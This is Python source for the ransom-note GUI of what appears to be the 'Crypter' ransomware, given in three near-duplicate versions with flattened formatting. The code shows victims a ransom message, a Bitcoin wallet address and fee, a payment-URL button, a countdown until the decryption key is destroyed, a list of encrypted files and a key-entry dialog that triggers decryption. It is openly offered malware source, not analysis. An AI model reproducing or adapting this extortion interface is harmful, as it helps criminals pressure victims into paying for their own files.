class Gui(MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base): ''' @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions, labels, text, buttons, images etc. Also inherits from main Base for schema ''' def __init__(self, image_path, start_time, decrypter, config): ''' @summary: Constructor @param image_path: The path to look at to find resources, such as images. @param start_time: EPOCH time that the encryption finished. @param decrypter: Handle back to Main. For calling decryption method @param config: The ransomware's runtime config dict ''' # Handle Params self.image_path = image_path self.start_time = start_time self.decrypter = decrypter self.__config = config self.decryption_thread = None self.decryption_dialog = None self.encrypted_files_list = self.decrypter.get_encrypted_files_list() self.decrypted_files_list = [] # Define other vars self.set_message_to_null = True # Super MainFrame.__init__(self, parent=None) # Update GUI visuals self.update_visuals() # Update events self.set_events() # Create pubsub listener to update the decryption progress Publisher.subscribe(self.update_decryption_progress, "update") def update_decryption_progress(self, msg): ''' @summary: Updates the decryption progress in the GUI ''' # Calculate percentage completion if len(self.encrypted_files_list) == 0: percentage_completion = 100 else: percentage_completion = float(len( self.decrypted_files_list)) * 100.0 / float( len(self.encrypted_files_list)) # Update number of encrypted files remaining if not self.decryption_thread.decryption_complete: encrypted_files_remaining = len(self.encrypted_files_list) - len( self.decrypted_files_list) else: encrypted_files_remaining = 0 # Set encrypted files number in GUI self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( "Encrypted Files: %s" % encrypted_files_remaining) # Update Decryption percentage completion if percentage_completion != 100: self.decryption_dialog.StatusText.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (%d%%)" % percentage_completion) else: self.decryption_dialog.StatusText.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED[self.LANG] + " (%d%%)" % percentage_completion) # Update decryption gauge if self.encrypted_files_list: self.decryption_dialog.DecryptionGauge.SetValue( percentage_completion) else: self.decryption_dialog.DecryptionGauge.SetValue(100) # If the decryption has successfully finished, update the GUI if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete: # Cleanup decrypter and change dialog message self.decrypter.cleanup() # Update main window self.key_destruction_timer.Stop() self.FlashingMessageText.SetLabel( self.GUI_LABEL_TEXT_FLASHING_DECRYPTED[self.LANG]) self.FlashingMessageText.SetForegroundColour(wx.Colour(2, 217, 5)) self.TimeRemainingTime.SetLabelText( self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) self.HeaderPanel.Layout( ) # Recenters the child widgets after text update (this works!) # Disable decryption and files list buttons self.EnterDecryptionKeyButton.Disable() self.ViewEncryptedFilesButton.Disable() def open_url(self, event): ''' @summary: Opens a web browser at the Bitcoin URL ''' webbrowser.open(self.BTC_BUTTON_URL) def set_events(self): ''' @summary: Create button and timer events for GUI ''' # Create and bind timer event self.key_destruction_timer = wx.Timer() self.key_destruction_timer.SetOwner(self, wx.ID_ANY) self.key_destruction_timer.Start(500) self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer) # Create button events self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton) self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton) self.Bind(wx.EVT_BUTTON, self.open_url, self.BitcoinButton) def stop_decryption(self, event): ''' @summary: Called when the decryption dialog is closed. Sends a stop event signal to the decryption thread if it exists ''' # Send stop event to the decryption thread if it exists if self.decryption_thread and self.decryption_thread.in_progress: self.decryption_thread.stop() # Otherwise just kill the dialog else: self.decryption_dialog.Destroy() def show_decryption_dialog(self, event): ''' @summary: Creates a dialog object to show the decryption dialog ''' # If dialog open. Don't open another if self.decryption_dialog: return # Create dialog object self.decryption_dialog = EnterDecryptionKeyDialog(self) # Set gauge size self.decryption_dialog.DecryptionGauge.SetRange(100) # Set encrypted file number self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT[self.LANG] + str( len(self.encrypted_files_list) - len(self.decrypted_files_list))) # Bind OK button to decryption process self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK) # Bind close and cancel event to thread killer self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel) self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption) self.decryption_dialog.Show() def start_decryption_thread(self, event): ''' @summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread) ''' # Check for valid key key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText( 0) if len(key_contents) < 32: self.decryption_dialog.StatusText.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY[self.LANG]) return else: self.decryption_dialog.StatusText.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (0%)") # Disable dialog buttons self.decryption_dialog.OkCancelSizerOK.Disable() self.decryption_dialog.OkCancelSizerCancel.Disable() # Start the decryption thread self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list, self, self.decrypter, key_contents) def show_encrypted_files(self, event): ''' @summary: Creates a dialog object showing a list of the files that were encrypted ''' # Create dialog object and file list string self.encrypted_files_dialog = ViewEncryptedFilesDialog(self) encrypted_files_list = "" for file in self.encrypted_files_list: encrypted_files_list += "%s" % file # If the list of encrypted files exists, load contents if encrypted_files_list: self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue( encrypted_files_list) # Otherwise set to none found else: self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText( self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND[self.LANG]) self.encrypted_files_dialog.Show() def blink(self, event): ''' @summary: Blinks the subheader text ''' # Update the time remaining time_remaining = self.get_time_remaining() # Set message to blank if self.set_message_to_null and time_remaining: self.FlashingMessageText.SetLabelText("") self.HeaderPanel.Layout( ) # Recenters the child widgets after text update (this works!) self.set_message_to_null = False # Set message to text elif time_remaining: self.FlashingMessageText.SetLabelText( self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) self.HeaderPanel.Layout( ) # Recenters the child widgets after text update (this works!) self.set_message_to_null = True # If the key has been destroyed, update the menu text if not time_remaining: # Cleanup decrypter and change dialog message self.decrypter.cleanup() # Update main window self.key_destruction_timer.Stop() self.TimeRemainingTime.SetLabelText( self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) self.FlashingMessageText.SetLabelText( self.GUI_LABEL_TEXT_FLASHING_DESTROYED[self.LANG]) self.FlashingMessageText.SetForegroundColour(wx.Colour(0, 0, 0)) # Disable decryption button self.EnterDecryptionKeyButton.Disable() self.ViewEncryptedFilesButton.Disable() self.HeaderPanel.Layout( ) # Recenters the child widgets after text update (this works!) else: self.TimeRemainingTime.SetLabelText(time_remaining) def get_time_remaining(self): ''' @summary: Method to read the time of encryption and determine the time remaining before the decryption key is destroyed @return: time remaining until decryption key is destroyed ''' seconds_elapsed = int(time.time() - int(self.start_time)) _time_remaining = int( self.__config["key_destruction_time"]) - seconds_elapsed if _time_remaining <= 0: return None minutes, seconds = divmod(_time_remaining, 60) hours, minutes = divmod(minutes, 60) return "%02d:%02d:%02d" % (hours, minutes, seconds) def update_visuals(self): ''' @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc. ''' # Set Frame Style style = wx.CAPTION | wx.CLOSE_BOX | wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.TAB_TRAVERSAL if self.__config["make_gui_resizeable"]: style = style | wx.RESIZE_BORDER if self.__config["always_on_top"]: style = style | wx.STAY_ON_TOP self.SetWindowStyle(style) # Background Colour self.SetBackgroundColour( wx.Colour(self.__config["background_colour"][0], self.__config["background_colour"][1], self.__config["background_colour"][2])) # Icon self.SetIcon( wx.IconFromBitmap( wx.Bitmap(os.path.join(self.image_path, self.GUI_IMAGE_ICON), wx.BITMAP_TYPE_ICO))) # Titles self.SetTitle( self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % (self.__config["maj_version"], self.__config["min_version"])) self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper()) self.TitleLabel.SetForegroundColour( wx.Colour( self.__config["heading_font_colour"][0], self.__config["heading_font_colour"][1], self.__config["heading_font_colour"][2], )) # Set flashing text initial label and Colour self.FlashingMessageText.SetLabel( self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) self.__set_as_primary_colour(self.FlashingMessageText) # Set Ransom Message self.RansomMessageText.SetValue(self.__config["ransom_message"]) # Set Logo self.LockBitmap.SetBitmap( wx.Bitmap(os.path.join(self.image_path, self.GUI_IMAGE_LOGO), wx.BITMAP_TYPE_ANY)) # Set Bitcoin Button logo self.BitcoinButton.SetBitmap( wx.Bitmap(os.path.join(self.image_path, self.GUI_IMAGE_BUTTON), wx.BITMAP_TYPE_ANY)) # Set key destruction label self.TimeRemainingLabel.SetLabel( self.GUI_LABEL_TEXT_TIME_REMAINING[self.LANG]) self.__set_as_primary_colour(self.TimeRemainingLabel) # Set Wallet Address label self.WalletAddressLabel.SetLabel( self.GUI_LABEL_TEXT_WALLET_ADDRESS[self.LANG]) self.__set_as_primary_colour(self.WalletAddressLabel) # Set Wallet Address Value self.WalletAddressString.SetLabel(self.__config["wallet_address"]) self.__set_as_secondary_colour(self.WalletAddressString) # Set Bitcoin Fee label self.BitcoinFeeLabel.SetLabel( self.GUI_LABEL_TEXT_BITCOIN_FEE[self.LANG]) self.__set_as_primary_colour(self.BitcoinFeeLabel) # Set Bitcoin Fee Value self.BitcoinFeeString.SetLabel(self.__config["bitcoin_fee"]) self.__set_as_secondary_colour(self.BitcoinFeeString) # Set Timer font colour self.__set_as_secondary_colour(self.TimeRemainingTime) # Set Button Text self.ViewEncryptedFilesButton.SetLabel( self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES[self.LANG]) self.EnterDecryptionKeyButton.SetLabel( self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY[self.LANG]) def __set_as_secondary_colour(self, obj): ''' @summary: Sets the objects foreground colour to the secondary colour specified by the config ''' obj.SetForegroundColour( wx.Colour(self.__config["secondary_font_colour"][0], self.__config["secondary_font_colour"][1], self.__config["secondary_font_colour"][2])) def __set_as_primary_colour(self, obj): ''' @summary: Sets the objects foreground colour to the primary colour specified by the config ''' obj.SetForegroundColour( wx.Colour(self.__config["primary_font_colour"][0], self.__config["primary_font_colour"][1], self.__config["primary_font_colour"][2]))
class Gui(MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base): ''' @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions, labels, text, buttons, images etc. Also inherits from main Base for schema ''' def __init__(self, image_path, start_time, encrypted_file_list, decrypter): ''' @summary: Constructor @param image_path: The path to look at to find resources, such as images. @param start_time: EPOCH time that the encryption finished. @param encrypted_file_list: List of encrypted files @param decrypter: Handle back to Main. For calling decryption method ''' # Handle Params self.image_path = image_path self.start_time = start_time self.encrypted_file_list = encrypted_file_list self.decrypter = decrypter # Define other vars self.set_message_to_null = True # Super MainFrame.__init__(self, parent=None) # Update GUI visuals self.update_visuals() # Update events self.set_events() def set_events(self): ''' @summary: Create button and timer events for GUI ''' # Create and bind timer event self.key_destruction_timer = wx.Timer() self.key_destruction_timer.SetOwner(self, wx.ID_ANY) self.key_destruction_timer.Start(500) self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer) # Create button events self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton) self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton) def show_decryption_dialog(self, event): ''' @summary: Creates a dialog object to show the decryption dialog ''' # Create dialog object self.decryption_dialog = EnterDecryptionKeyDialog(self) # Bind OK button to decryption process self.decryption_dialog.Bind(wx.EVT_BUTTON, self.decrypt, self.decryption_dialog.OkCancelSizerOK) self.decryption_dialog.Show() def decrypt(self, event): ''' @summary: Handles the decryption process from a GUI level ''' # Check for valid key key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText( 0) if len(key_contents) < 32: self.decryption_dialog.StatusText.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY) return else: self.decryption_dialog.StatusText.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING) wx.Yield() # Start the decryption # Disable dialog buttons self.decryption_dialog.OkCancelSizerOK.Disable() self.decryption_dialog.OkCancelSizerCancel.Disable() # Get list of encrypted files and update gauge encrypted_files_list = self.decrypter.get_encrypted_file_list() self.decryption_dialog.DecryptionGauge.SetRange( len(encrypted_files_list)) # Iterate file list and decrypt decrypted_file_list = [] for encrypted_file in encrypted_files_list: self.decrypter.decrypt_file(encrypted_file, key_contents) decrypted_file_list.append(encrypted_file) self.decryption_dialog.DecryptionGauge.SetValue( len(decrypted_file_list)) wx.Yield() # Decryption complete self.decryption_dialog.StatusText.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED) self.decrypter.cleanup() # Re-enable button self.decryption_dialog.OkCancelSizerCancel.Enable() # Update main window self.key_destruction_timer.Stop() self.FlashingMessageText.SetLabel( self.GUI_LABEL_TEXT_FLASHING_DECRYPTED) self.FlashingMessageText.SetForegroundColour(wx.Colour(2, 217, 5)) self.KeyDestructionTime.SetLabelText( self.GUI_LABEL_TEXT_FILES_DECRYPTED) self.KeyDestructionTime.SetForegroundColour(wx.Colour(2, 217, 5)) # Disable decrypt button self.EnterDecryptionKeyButton.Disable() def show_encrypted_files(self, event): ''' @summary: Creates a dialog object showing a list of the files that were encrypted ''' # Create dialog object self.encrypted_files_dialog = ViewEncryptedFilesDialog(self) # If the list of encrypted files exists, load contents if os.path.isfile(self.encrypted_file_list): self.encrypted_files_dialog.EncryptedFilesTextCtrl.LoadFile( self.encrypted_file_list) # Otherwise set to none found else: self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText( self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND) self.encrypted_files_dialog.Show() def blink(self, event): ''' @summary: Blinks the subheader text ''' # Set message to blank if self.set_message_to_null: self.FlashingMessageText.SetLabelText("") self.set_message_to_null = False # Set message to text else: self.FlashingMessageText.SetLabelText( self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED) self.set_message_to_null = True # Update the time remaining time_remaining = self.get_time_remaining() # If the key has been destroyed, update the menu text # TODO Test if not time_remaining: self.KeyDestructionTime.SetLabelText( self.GUI_LABEL_TEXT_KEY_DESTROYED) # Set timer colour to black self.KeyDestructionTime.SetForegroundColour( wx.SystemSettings_GetColour(wx.SYS_COLOUR_CAPTIONTEXT)) # Disable decryption button self.EnterDecryptionKeyButton.Disable() else: self.KeyDestructionTime.SetLabelText(time_remaining) def get_time_remaining(self): ''' @summary: Method to read the time of encryption and determine the time remaining before the decryption key is destroyed @return: time remaining until decryption key is destroyed ''' seconds_elapsed = int(time.time() - int(self.start_time)) _time_remaining = self.KEY_DESTRUCT_TIME_SECONDS - seconds_elapsed if _time_remaining <= 0: return None minutes, seconds = divmod(_time_remaining, 60) hours, minutes = divmod(minutes, 60) return "%d:%02d:%02d" % (hours, minutes, seconds) def update_visuals(self): ''' @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc. ''' # Set title self.CrypterTitleBitmap.SetBitmap( wx.Bitmap(os.path.join(self.image_path, self.GUI_IMAGE_TITLE), wx.BITMAP_TYPE_ANY)) # Set flashing text initial label self.FlashingMessageText.SetLabel( self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED) # Set Ransom Message self.RansomNoteText.SetValue(self.GUI_RANSOM_MESSAGE) # Set Logo self.LockBitmap.SetBitmap( wx.Bitmap(os.path.join(self.image_path, self.GUI_IMAGE_LOGO), wx.BITMAP_TYPE_ANY)) # Set key destruction label self.KeyDestructionLabel.SetLabel(self.GUI_LABEL_TEXT_KEY_DESTRUCTION) # Set Wallet Address label self.WalletAddressLabel.SetLabel(self.GUI_LABEL_TEXT_WALLET_ADDRESS) # Set Wallet Address Value self.WalletAddressString.SetLabel(self.WALLET_ADDRESS) # Set Button Text self.ViewEncryptedFilesButton.SetLabel( self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES) self.EnterDecryptionKeyButton.SetLabel( self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY)
class Gui( MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base): ''' @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions, labels, text, buttons, images etc. Also inherits from main Base for schema ''' def __init__( self, image_path, start_time, decrypter ): ''' @summary: Constructor @param image_path: The path to look at to find resources, such as images. @param start_time: EPOCH time that the encryption finished. @param decrypter: Handle back to Main. For calling decryption method ''' # Handle Params self.image_path = image_path self.start_time = start_time self.decrypter = decrypter self.decryption_thread = None self.decryption_dialog = None self.encrypted_files_list = self.decrypter.get_encrypted_files_list() self.decrypted_files_list = [] # Define other vars self.set_message_to_null = True # Super MainFrame.__init__( self, parent=None ) # Update GUI visuals self.update_visuals() # Update events self.set_events() # Create pubsub listener to update the decryption progress Publisher.subscribe(self.update_decryption_progress, "update") def update_decryption_progress(self, msg): ''' @summary: Updates the decryption progress in the GUI ''' # Calculate percentage completion if len(self.encrypted_files_list) == 0: percentage_completion = 100 else: percentage_completion = float(len(self.decrypted_files_list)) * 100.0 / float(len(self.encrypted_files_list)) # Update number of encrypted files remaining if not self.decryption_thread.decryption_complete: encrypted_files_remaining = len(self.encrypted_files_list) - len(self.decrypted_files_list) else: encrypted_files_remaining = 0 # Set encrypted files number in GUI self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( "Encrypted Files: %s" % encrypted_files_remaining) # Update Decryption percentage completion if percentage_completion != 100: self.decryption_dialog.StatusText.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (%d%%)" % percentage_completion ) else: self.decryption_dialog.StatusText.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED[self.LANG] + " (%d%%)" % percentage_completion ) # Update decryption gauge if self.encrypted_files_list: self.decryption_dialog.DecryptionGauge.SetValue(percentage_completion) else: self.decryption_dialog.DecryptionGauge.SetValue(100) # If the decryption has successfully finished, update the GUI if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete: # Cleanup decrypter and change dialog message self.decrypter.cleanup() # Update main window self.key_destruction_timer.Stop() self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED[self.LANG]) self.FlashingMessageText.SetForegroundColour( wx.Colour(2, 217, 5) ) self.KeyDestructionTime.SetLabelText(self.GUI_LABEL_TEXT_FILES_DECRYPTED[self.LANG]) self.KeyDestructionTime.SetForegroundColour( wx.Colour(2, 217, 5) ) # Disable decryption dialog button self.EnterDecryptionKeyButton.Disable() def set_events(self): ''' @summary: Create button and timer events for GUI ''' # Create and bind timer event self.key_destruction_timer = wx.Timer() self.key_destruction_timer.SetOwner( self, wx.ID_ANY ) self.key_destruction_timer.Start( 500 ) self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer) # Create button events self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton) self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton) def stop_decryption(self, event): ''' @summary: Called when the decryption dialog is closed. Sends a stop event signal to the decryption thread if it exists ''' # Send stop event to the decryption thread if it exists if self.decryption_thread and self.decryption_thread.in_progress: self.decryption_thread.stop() # Otherwise just kill the dialog else: self.decryption_dialog.Destroy() def show_decryption_dialog(self, event): ''' @summary: Creates a dialog object to show the decryption dialog ''' # If dialog open. Don't open another if self.decryption_dialog: return # Create dialog object self.decryption_dialog = EnterDecryptionKeyDialog(self) # Set gauge size self.decryption_dialog.DecryptionGauge.SetRange(100) # Set encrypted file number self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT[self.LANG] + str( len(self.encrypted_files_list) - len(self.decrypted_files_list) ) ) # Bind OK button to decryption process self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK) # Bind close and cancel event to thread killer self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel) self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption) self.decryption_dialog.Show() def start_decryption_thread(self, event): ''' @summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread) ''' # Check for valid key key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText(0) if len(key_contents) < 32: self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY[self.LANG]) return else: self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG]) # Disable dialog buttons self.decryption_dialog.OkCancelSizerOK.Disable() self.decryption_dialog.OkCancelSizerCancel.Disable() # Start the decryption thread self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list, self, self.decrypter, key_contents) def show_encrypted_files(self, event): ''' @summary: Creates a dialog object showing a list of the files that were encrypted ''' # Create dialog object and file list string self.encrypted_files_dialog = ViewEncryptedFilesDialog(self) encrypted_files_list = "" for file in self.encrypted_files_list: encrypted_files_list += "%s" % file # If the list of encrypted files exists, load contents if encrypted_files_list: self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue(encrypted_files_list) # Otherwise set to none found else: self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText( self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND[self.LANG]) self.encrypted_files_dialog.Show() def blink(self, event): ''' @summary: Blinks the subheader text ''' # Set message to blank if self.set_message_to_null: self.FlashingMessageText.SetLabelText("") self.set_message_to_null = False # Set message to text else: self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) self.set_message_to_null = True # Update the time remaining time_remaining = self.get_time_remaining() # If the key has been destroyed, update the menu text if not time_remaining: self.KeyDestructionTime.SetLabelText(self.GUI_LABEL_TEXT_KEY_DESTROYED[self.LANG]) # Set timer colour to black self.KeyDestructionTime.SetForegroundColour( wx.SystemSettings_GetColour( wx.SYS_COLOUR_CAPTIONTEXT)) # Disable decryption button #self.EnterDecryptionKeyButton.Disable() else: self.KeyDestructionTime.SetLabelText(time_remaining) def get_time_remaining(self): ''' @summary: Method to read the time of encryption and determine the time remaining before the decryption key is destroyed @return: time remaining until decryption key is destroyed ''' seconds_elapsed = int(time.time() - int(self.start_time)) _time_remaining = self.KEY_DESTRUCT_TIME_SECONDS - seconds_elapsed if _time_remaining <= 0: return None minutes, seconds = divmod(_time_remaining, 60) hours, minutes = divmod(minutes, 60) return "%d:%02d:%02d" % (hours, minutes, seconds) def update_visuals(self): ''' @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc. ''' # Set title #self.CrypterTitleBitmap.SetBitmap( # wx.Bitmap( # os.path.join(self.image_path, self.GUI_IMAGE_TITLE), # wx.BITMAP_TYPE_ANY)) self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG]) # Set flashing text initial label self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) # Set Ransom Message self.RansomNoteText.SetValue(self.GUI_RANSOM_MESSAGE[self.LANG]) # Set Logo self.LockBitmap.SetBitmap( wx.Bitmap( os.path.join(self.image_path, self.GUI_IMAGE_LOGO), wx.BITMAP_TYPE_ANY)) # Set key destruction label self.KeyDestructionLabel.SetLabel(self.GUI_LABEL_TEXT_KEY_DESTRUCTION[self.LANG]) # Set Wallet Address label self.WalletAddressLabel.SetLabel(self.GUI_LABEL_TEXT_WALLET_ADDRESS[self.LANG]) # Set Wallet Address Value self.WalletAddressString.SetLabel(self.WALLET_ADDRESS) # Set Button Text self.ViewEncryptedFilesButton.SetLabel(self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES[self.LANG]) self.EnterDecryptionKeyButton.SetLabel(self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY[self.LANG])